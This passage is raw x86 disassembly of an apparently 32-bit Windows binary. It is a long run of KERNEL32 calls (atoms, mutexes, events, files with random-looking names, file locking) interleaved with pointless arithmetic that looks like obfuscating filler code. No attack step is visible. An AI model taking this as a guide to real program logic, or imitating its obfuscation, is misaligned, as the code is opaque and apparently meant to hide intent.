push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push str.WFHMk
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb8ac], ax
lea eax, [ebp - 0x9d48]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movsx edx, byte [ebp - 0x113]
movsx ecx, byte [ebp - 0x144]
sar edx, cl
mov byte [ebp - 0x24d], dl
mov eax, dword [ebp - 0x3980]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2c58]
mov edx, dword [ebp - 0x4648]
mov dword [edx], ecx
movzx eax, word [ebp - 0x6a0]
movzx ecx, word [ebp - 0x109c]
and eax, ecx
mov word [0x100b7470], ax
mov edx, dword [0x100bb580]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x41ec]
movsx edx, word [ecx]
or eax, edx
mov word [ebp - 0x6c0], ax
mov eax, dword [ebp - 0x4a04]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3814]
movzx eax, word [edx]
xor ecx, eax
mov edx, dword [ebp - 0x4590]
mov word [edx], cx
mov eax, dword [0x100ba014]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x4f00], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb8b0], eax
movzx edx, byte [ebp - 0x63]
movzx ecx, byte [ebp - 0x1b2]
shl edx, cl
mov byte [0x100b7306], dl
mov eax, dword [ebp - 0x3d24]
mov edx, dword [ebp - 0x2da4]
mov ecx, dword [eax]
shr edx, cl
mov dword [ebp - 0x2d7c], edx
lea eax, [ebp - 0x3f60]
mov dword [ebp - 0x4f04], eax
mov ecx, dword [0x100bb298]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x100a8ec4
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x17cc], ax
mov edx, dword [0x100ba03c]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x4454], eax
mov eax, dword [0x100ba124]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x4080]
movsx eax, byte [edx]
add ecx, eax
mov byte [0x100b721f], cl
push 0x100bb8b4
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x3834]
movzx edx, word [ecx]
movzx eax, word [0x100ba044]
and edx, eax
mov word [ebp - 0xc94], dx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4f08], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb8d8], eax
movzx ecx, word [ebp - 0x16c0]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x17d0], ax
mov dx, word [ebp - 0x1658]
mov word [ebp - 0x17d4], dx
lea eax, [ebp - 0x124]
mov dword [0x100bb8dc], eax
mov ecx, dword [0x100ba570]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
movzx edx, byte [ebp - 0x1de]
mov eax, dword [ebp - 0x4854]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x176], dl
lea edx, [ebp - 0x9f88]
push edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x100b9908]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov ecx, dword [ebp - 0x2f78]
xor ecx, dword [ebp - 0x30c0]
mov dword [ebp - 0x2b7c], ecx
mov edx, dword [ebp - 0x4a2c]
mov eax, dword [0x100b994c]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [0x100bb3a8]
mov dword [edx], ecx
lea eax, [ebp - 0x28]
mov dword [ebp - 0x4f0c], eax
push 0
push 0x400
push 1
push 0
push 8
push 0x40000000
push str.kFQDvZ6crWXSkRR
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bb8e0], eax
mov ecx, dword [ebp - 0x4be8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xb28]
add edx, eax
mov ecx, dword [ebp - 0x3e48]
mov word [ecx], dx
push str.HISgc8wm_4n02bL_L8JStwU
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x17d8], ax
push 0
push 0x36f4
push 0x22d
push 0xc9
mov edx, dword [ebp - 0x3a08]
push edx
call dword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [0x100ba224], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4f10], eax
mov eax, dword [ebp - 0x45a8]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x16d4]
sub ecx, edx
mov word [0x100b73c0], cx
mov eax, dword [0x100b9bec]
mov cl, byte [eax]
mov byte [ebp - 0x30e], cl
mov edx, dword [ebp - 0x2e00]
or edx, dword [ebp - 0x4008]
mov dword [ebp - 0x322c], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb8e4], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3778], eax
mov ax, word [0x100bacbc]
mov word [0x100bb8e8], ax
mov ecx, dword [0x100b96e4]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x3acc]
shl edx, cl
mov dword [ebp - 0x4654], edx
lea eax, [ebp - 0x2db]
mov dword [ebp - 0x4f14], eax
mov ecx, dword [ebp - 0x384c]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x3ed8]
movsx ecx, word [eax]
sar edx, cl
mov word [0x100ba8b4], dx
lea ecx, [ebp - 0x2ac]
mov dword [ebp - 0x4f18], ecx
mov edx, dword [0x100b72b4]
and edx, dword [ebp - 0x35e0]
mov eax, dword [ebp - 0x4328]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3f18]
mov dl, byte [ecx]
mov byte [0x100b8573], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bb8ec], eax
mov eax, dword [0x100ba52c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x39a8]
movzx eax, word [edx]
imul ecx, eax
mov word [ebp - 0xa18], cx
movzx ecx, word [0x100b9520]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1354], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4f1c], eax
mov dx, word [ebp - 0x159c]
mov word [ebp - 0x17dc], dx
lea eax, [ebp - 0x4d98]
mov dword [0x100bb8f0], eax
movsx ecx, word [ebp - 0x6b0]
movsx edx, word [ebp - 0x540]
add ecx, edx
mov word [ebp - 0x6ac], cx
mov eax, dword [ebp - 0x3a28]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x2c3]
and ecx, edx
mov byte [ebp - 0xdf], cl
mov eax, dword [0x100b96f4]
mov edx, dword [ebp - 0x2aac]
mov ecx, dword [eax]
sar edx, cl
mov dword [0x100b7370], edx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100bb8f4], eax
lea eax, [ebp - 0x2ef]
mov dword [ebp - 0x4f20], eax
push 0
push 0x40
push 2
push 0
push 8
push 0x80000000
push str.q4IcCIBs9km3XkVZWCcw
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4f24], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100baaf4], eax
mov ecx, dword [ebp - 0x3850]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x44cc]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x4bd0]
mov word [ecx], dx
movzx edx, word [0x100ba38c]
mov eax, dword [ebp - 0x4a4c]
movzx ecx, word [eax]
or edx, ecx
mov word [0x100b733c], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b97c4], eax
mov edx, dword [ebp - 0x4178]
mov al, byte [edx]
mov byte [ebp - 0x30f], al
mov ecx, dword [ebp - 0x416c]
mov edx, dword [ecx]
imul edx, dword [0x100ba960]
mov dword [0x100b7474], edx
mov eax, dword [ebp - 0x3b8c]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x12b0]
xor ecx, edx
mov word [ebp - 0x85c], cx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x4d6c], eax
push str.Amwg0_Dvz
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb8f8], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x433c], eax
lea eax, [ebp - 0x2e1]
mov dword [ebp - 0x4f28], eax
mov ecx, dword [ebp - 0x2c6c]
add ecx, dword [ebp - 0x2fb4]
mov edx, dword [0x100bb714]
mov dword [edx], ecx
mov eax, dword [0x100ba210]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xf80]
and ecx, edx
mov word [ebp - 0x504], cx
mov eax, dword [0x100babe8]
mov edx, dword [ebp - 0x2bd8]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x2f74], edx
mov dword [0x100bb8fc], 0x100bad48
lea eax, [ebp - 0x2be8]
mov dword [ebp - 0x4f2c], eax
mov ecx, dword [ebp - 0x4924]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x482c]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x231], dl
lea edx, [ebp - 0x27a]
mov dword [0x100bb900], edx
push 0x100bb904
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [0x100b9d5c]
movsx edx, byte [eax]
mov eax, dword [ebp - 0x3824]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x2c9], dl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x4f30], eax
lea ecx, [ebp - 0x4abc]
mov dword [ebp - 0x4f34], ecx
mov edx, dword [ebp - 0x40e8]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x99]
or eax, ecx
mov byte [0x100b7efb], al
movsx edx, word [0x100b726c]
mov eax, dword [ebp - 0x3e9c]
movsx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x3ae4]
mov word [eax], dx
mov dword [ebp - 0x4f38], 0x100bb870
push str.B6cky9G.p
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1718], ax
mov ecx, dword [ebp - 0x3634]
and ecx, dword [ebp - 0x3c38]
mov dword [0x100b9524], ecx
mov edx, dword [ebp - 0x4540]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x4188]
movsx ecx, byte [ecx]
sar eax, cl
mov edx, dword [ebp - 0x42f0]
mov byte [edx], al
mov eax, dword [ebp - 0x3760]
mov ecx, dword [ebp - 0x3bec]
xor ecx, dword [eax]
mov dword [ebp - 0x4840], ecx
mov edx, dword [ebp - 0x4a54]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x30d]
xor eax, ecx
mov byte [0x100b7307], al
movzx edx, word [ebp - 0xc6c]
mov eax, dword [ebp - 0x3d14]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x57c], dx
lea ecx, [ebp - 0x1760]
mov dword [ebp - 0x4f3c], ecx
movzx edx, word [0x100b9fb8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x17e0], ax
lea eax, [ebp - 0x179]
mov dword [0x100bb91c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9718], eax
movzx ecx, word [0x100b72bc]
mov edx, dword [0x100ba164]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x1480], cx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100bb920], eax
push str.ZQcav_Oro0D
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1410], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bb924], eax
mov ecx, dword [ebp - 0x49c8]
mov edx, dword [ecx]
and edx, dword [0x100b738c]
mov dword [ebp - 0x3a88], edx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x4f40], eax
mov eax, dword [ebp - 0x4b38]
mov ecx, dword [ebp - 0x3ff4]
mov edx, dword [eax]
or edx, dword [ecx]
mov dword [0x100ba14c], edx
mov al, byte [0x100b7f47]
mov byte [ebp - 0x310], al
mov ecx, dword [0x100ba340]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x1448]
xor edx, eax
mov ecx, dword [ebp - 0x4558]
mov word [ecx], dx
movsx edx, byte [ebp - 0x302]
mov eax, dword [0x100bb0ec]
movsx ecx, byte [eax]
sar edx, cl
mov byte [0x100b71d7], dl
lea ecx, [ebp - 0xb02c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [ebp - 0x4f44], 0x100b9e60
push 0x309a
push 0x3385
push 0x27d9
push 0x3d1e
mov edx, dword [0x100ba58c]
push edx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x4f48], eax
mov eax, dword [ebp - 0x36a8]
mov ecx, dword [eax]
mov dword [ebp - 0x4f4c], ecx
movzx edx, word [0x100b9684]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x15ac], ax
mov eax, dword [ebp - 0x36bc]
mov ecx, dword [eax]
mov dword [0x100bb928], ecx
mov edx, dword [ebp - 0x4414]
movzx eax, byte [edx]
mov ecx, dword [0x100ba6f0]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x37c4]
mov byte [ecx], al
lea edx, [ebp - 0x14a]
mov dword [ebp - 0x4f50], edx
mov eax, dword [ebp - 0x361c]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x4b8]
and ecx, edx
mov word [0x100b737c], cx
mov eax, dword [0x100b9c30]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x46a8]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x1120], cx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb92c], eax
mov ecx, dword [0x100ba868]
mov edx, dword [ebp - 0x4d68]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x4810]
mov dword [eax], edx
mov cl, byte [ebp - 0x2e9]
mov byte [0x100b8586], cl
movzx edx, byte [ebp - 0x8f]
movzx eax, byte [ebp - 0x26b]
xor edx, eax
mov byte [ebp - 0x25e], dl
push str.I6x_AnC
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb930], ax
mov ecx, dword [ebp - 0x3860]
mov edx, dword [ecx]
or edx, dword [ebp - 0x36b8]
mov eax, dword [ebp - 0x437c]
mov dword [eax], edx
movzx edx, word [ebp - 0xc48]
mov eax, dword [ebp - 0x4a4c]
movzx ecx, word [eax]
sar edx, cl
mov word [0x100b7478], dx
mov ecx, dword [ebp - 0x46a0]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x453c]
movsx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x7d0], dx
lea edx, [ebp - 0x2f1c]
mov dword [ebp - 0x4f54], edx
push str.OUM99_hHf
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x17e4], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9e5c], eax
movsx eax, byte [ebp - 0x270]
mov ecx, dword [0x100bae3c]
movsx edx, byte [ecx]
and eax, edx
mov ecx, dword [0x100b9f08]
mov byte [ecx], al
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4f58], eax
mov edx, dword [ebp - 0x4358]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100bb934], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3708], eax
movzx eax, byte [ebp - 0x217]
movzx ecx, byte [0x100b7216]
shl eax, cl
mov byte [ebp - 0x1d1], al
mov dword [ebp - 0x4f5c], 0x100b71cc
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9dcc], eax
lea ecx, [ebp - 0x1644]
mov dword [0x100bb938], ecx
mov eax, dword [ebp - 0x2ecc]
xor edx, edx
mov ecx, 0x45cf
div ecx
mov dword [ebp - 0x2be8], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4f60], eax
lea edx, [ebp - 0x1494]
mov dword [ebp - 0x4f64], edx
mov eax, dword [0x100b736c]
xor eax, dword [ebp - 0x2f30]
mov dword [0x100bb828], eax
movsx ecx, byte [ebp - 0x18c]
mov edx, dword [0x100bb500]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x3be0]
mov byte [edx], cl
mov eax, dword [ebp - 0x4790]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x1de]
sar edx, cl
mov byte [0x100b7167], dl
lea eax, [ebp - 0x14a0]
mov dword [ebp - 0x4f68], eax
mov ecx, dword [0x100bb69c]
mov edx, dword [ebp - 0x38ec]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0x37f4]
mov dword [ecx], eax
lea edx, [ebp - 0x2ec4]
mov dword [0x100bb93c], edx
mov eax, dword [ebp - 0x3ae4]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x123c]
and ecx, edx
mov word [ebp - 0x1360], cx
lea eax, [ebp - 0x30b]
mov dword [ebp - 0x4f6c], eax
mov ecx, dword [ebp - 0x4eac]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x45ac]
movzx ecx, byte [eax]
xor edx, ecx
mov eax, dword [0x100ba394]
mov byte [eax], dl
mov ecx, dword [0x100b96ec]
mov dl, byte [ecx]
mov byte [ebp - 0x311], dl
mov eax, dword [ebp - 0x461c]
mov ecx, dword [ebp - 0x4d2c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x4bfc], edx
mov ax, word [0x100ba598]
mov word [0x100bb940], ax
push str.8iDZP_z0rnR
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb944], ax
movsx edx, word [ebp - 0x1638]
movsx ecx, word [ebp - 0x5a0]
shl edx, cl
mov word [ebp - 0x5ac], dx
mov eax, dword [0x100b9bb0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2b7c]
mov edx, dword [ebp - 0x385c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3cfc]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0xfb]
sar edx, cl
mov byte [0x100b72df], dl
lea eax, [ebp - 0x26a]
mov dword [ebp - 0x4f70], eax
mov ecx, dword [0x100b9bc0]
mov edx, dword [0x100b71c8]
and edx, dword [ecx]
mov eax, dword [ebp - 0x4944]
mov dword [eax], edx
lea ecx, [ebp - 0xb464]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx edx, word [ebp - 0x654]
movzx eax, word [ebp - 0x9e4]
imul edx, eax
mov word [0x100b747c], dx
mov ecx, dword [ebp - 0x3e18]
movsx edx, word [ecx]
mov eax, dword [0x100ba870]
movsx ecx, word [eax]
or edx, ecx
mov word [ebp - 0x12e8], dx
lea edx, [ebp - 0x1350]
mov dword [ebp - 0x4f74], edx
push 0x100ba734
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx eax, byte [ebp - 0x296]
mov ecx, dword [0x100ba854]
movzx edx, byte [ecx]
xor eax, edx
mov ecx, dword [0x100b9808]
mov byte [ecx], al
lea edx, [ebp - 0xad80]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x4290]
mov dword [ebp - 0x4f78], eax
push 2
push 0x100ba308
mov ecx, dword [0x100bb94c]
push ecx
mov edx, dword [0x100bb948]
push edx
mov eax, dword [0x100bac44]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x3798], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4f7c], eax
push str.kRO7AUH_LKbE_OGkC9V_I0y8
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb950], ax
mov ecx, dword [ebp - 0x4548]
mov edx, dword [0x100bb11c]
add edx, dword [ecx]
mov eax, dword [ebp - 0x3f00]
mov dword [eax], edx
movsx edx, byte [0x100b802e]
mov eax, dword [ebp - 0x4af4]
movsx ecx, byte [eax]
shl edx, cl
mov byte [0x100b7316], dl
mov ecx, dword [ebp - 0x38c4]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x43e0]
movzx ecx, word [eax]
and edx, ecx
mov word [ebp - 0xb94], dx
movsx edx, word [ebp - 0x1568]
movsx ecx, word [0x100b7300]
sar edx, cl
mov eax, dword [ebp - 0x4b44]
mov word [eax], dx
movsx ecx, byte [ebp - 0x3c]
movsx edx, byte [ebp - 0x28f]
xor ecx, edx
mov eax, dword [0x100bb2c0]
mov byte [eax], cl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x4f80], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3c0c], eax
mov ecx, dword [0x100bb774]
mov dl, byte [ecx]
mov byte [ebp - 0x312], dl
mov eax, dword [0x100b9cc0]
mov ecx, dword [ebp - 0x38cc]
mov edx, dword [eax]
add edx, dword [ecx]
mov dword [ebp - 0x2b78], edx
mov eax, dword [ebp - 0x43a0]
mov ecx, dword [eax]
mov dword [0x100bb954], ecx
movsx edx, byte [ebp - 0x27d]
mov eax, dword [ebp - 0x3b10]
movsx ecx, byte [eax]
or edx, ecx
mov eax, dword [ebp - 0x3f88]
mov byte [eax], dl
movzx ecx, word [0x100b9e50]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1398], ax
mov edx, dword [ebp - 0x4444]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x139c]
and eax, ecx
mov word [ebp - 0x5bc], ax
mov edx, dword [ebp - 0x4e38]
movsx eax, word [edx]
mov ecx, dword [0x100ba6d0]
movsx edx, word [ecx]
imul eax, edx
mov ecx, dword [0x100bb3a0]
mov word [ecx], ax
mov edx, dword [ebp - 0x4e4c]
movzx eax, byte [edx]
movzx ecx, byte [0x100b82e3]
sub eax, ecx
mov byte [ebp - 0x310], al
mov edx, dword [ebp - 0x36b0]
mov dword [ebp - 0x4f84], edx
lea eax, [ebp - 0x10a8]
mov dword [0x100bb958], eax
mov ecx, dword [ebp - 0x4a90]
mov edx, dword [ebp - 0x346c]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x48e4], eax
lea ecx, [ebp - 0x2c7]
mov dword [ebp - 0x4f88], ecx
mov dx, word [ebp - 0x1568]
mov word [0x100bb95c], dx
lea eax, [ebp - 0x110]
mov dword [ebp - 0x4f8c], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb960], eax
mov edx, dword [ebp - 0x4d00]
mov ecx, dword [ebp - 0x3b4c]
sar edx, cl
mov eax, dword [ebp - 0x3760]
mov dword [eax], edx
push 0x5fc
push 0x3e50
push 0x2175
push 0x2e87
mov ecx, dword [0x100b9670]
push ecx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [ebp - 0x4f90], eax
mov edx, dword [ebp - 0x3c54]
movsx eax, byte [edx]
movsx ecx, byte [0x100b713e]
xor eax, ecx
mov edx, dword [0x100ba2d4]
mov byte [edx], al
movzx eax, word [ebp - 0x14a0]
movzx ecx, word [0x100b94f8]
add eax, ecx
mov edx, dword [ebp - 0x33dc]
mov word [edx], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3f68], eax
mov dword [ebp - 0x4f94], 0x100bac90
mov eax, dword [ebp - 0x2e14]
and eax, dword [ebp - 0x3cf4]
mov dword [0x100b73e0], eax
lea ecx, [ebp - 0x140c]
mov dword [ebp - 0x4f98], ecx
movzx edx, byte [ebp - 0x163]
mov eax, dword [ebp - 0x4598]
movzx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0x99], dl
mov edx, dword [ebp - 0x4168]
mov eax, dword [0x100ba010]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov dword [0x100b7480], ecx
mov dword [ebp - 0x4f9c], 0x100b7f8f
mov edx, dword [ebp - 0x4430]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1420]
shl eax, cl
mov ecx, dword [ebp - 0x4834]
mov word [ecx], ax
mov edx, dword [0x100ba898]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x14f0]
sar eax, cl
mov word [0x100baf1c], ax
mov ecx, dword [ebp - 0x3be0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x35f4]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x3978]
mov byte [eax], dl
mov dword [0x100bb964], 0x100bafa0
push str.JDMmigT9c_0xkq_1YxXu
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb968], ax
mov dword [ebp - 0x4fa0], 0x100ba4e0
movzx ecx, byte [ebp - 0x9e]
movzx edx, byte [ebp - 0x296]
and ecx, edx
mov byte [ebp - 0x2cd], cl
lea eax, [ebp - 0x3838]
mov dword [0x100bb96c], eax
mov ecx, dword [ebp - 0x3e54]
mov dx, word [ecx]
mov word [ebp - 0x17e8], dx
mov eax, dword [ebp - 0x33e8]
mov ecx, dword [ebp - 0x4730]
xor ecx, dword [eax]
mov dword [ebp - 0x4ac0], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bb6b4], eax
mov edx, dword [ebp - 0x4324]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x3cd0]
movsx edx, word [ecx]
xor eax, edx
mov ecx, dword [0x100b96a8]
mov word [ecx], ax
lea edx, [ebp - 0x46dc]
mov dword [ebp - 0x4fa4], edx
movzx eax, byte [0x100b8387]
movzx ecx, byte [ebp - 0xdb]
add eax, ecx
mov byte [ebp - 0x28a], al
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4fa8], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3cdc], eax
push str.YZrImrjQsv_tZNaVc3VmiZa6l
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb970], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x4fac], eax
mov edx, dword [0x100ba198]
mov al, byte [edx]
mov byte [0x100b8587], al
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba284], eax
movsx ecx, byte [ebp - 0x181]
movsx edx, byte [ebp - 0x2ff]
sub ecx, edx
mov byte [ebp - 6], cl
mov eax, dword [0x100ba8e4]
mov ecx, dword [eax]
mov dword [ebp - 0x4fb0], ecx
movzx edx, byte [ebp - 0x2c6]
movzx eax, byte [ebp - 0x4c]
or edx, eax
mov ecx, dword [0x100ba8a4]
mov byte [ecx], dl
mov edx, dword [0x100ba61c]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x43a4]
movsx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0x11e0], ax
lea edx, [ebp - 0x878]
mov dword [ebp - 0x4fb4], edx
lea eax, [ebp - 0x3fdc]
mov dword [0x100bb974], eax
mov ecx, dword [ebp - 0x4f20]
movsx edx, byte [ecx]
mov eax, dword [0x100ba57c]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x23f], dl
push 0
push 0x80
push 3
push 0
push 4
push 0x80000000
push str.O1vXsAOUzRPJO7mSJzoa5
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bb978], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4fb8], eax
mov ecx, dword [ebp - 0x3f6c]
and ecx, dword [0x100ba6c8]
mov dword [ebp - 0x2ae4], ecx
movzx edx, byte [ebp - 3]
mov eax, dword [0x100ba5b4]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [0x100ba6a8]
mov byte [eax], dl
push 1
lea ecx, [ebp - 0x98bc]
push ecx
mov edx, dword [0x100b9754]
push edx
mov eax, dword [0x100b9750]
push eax
mov ecx, dword [ebp - 0x466c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100bb2a4], eax
movzx edx, word [ebp - 0x17c8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bb97c], ax
push 0x2329
push 0
push 0x100bb268
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x4fbc], eax
mov eax, dword [ebp - 0x4758]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x5d4]
and ecx, edx
mov word [ebp - 0x17b4], cx
push 0
push 0x40
push 0
push 0
push 2
push 0x40000000
push str.q13ITPx0vbkh
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bb980], eax
movsx eax, word [ebp - 0x56c]
movsx ecx, word [0x100bb024]
sar eax, cl
mov word [ebp - 0xc74], ax
lea ecx, [ebp - 0x2c]
mov dword [0x100bb984], ecx
mov edx, dword [ebp - 0x3950]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x151c]
shl eax, cl
mov word [ebp - 0x14a8], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4fc0], eax
mov ecx, dword [ebp - 0x39c0]
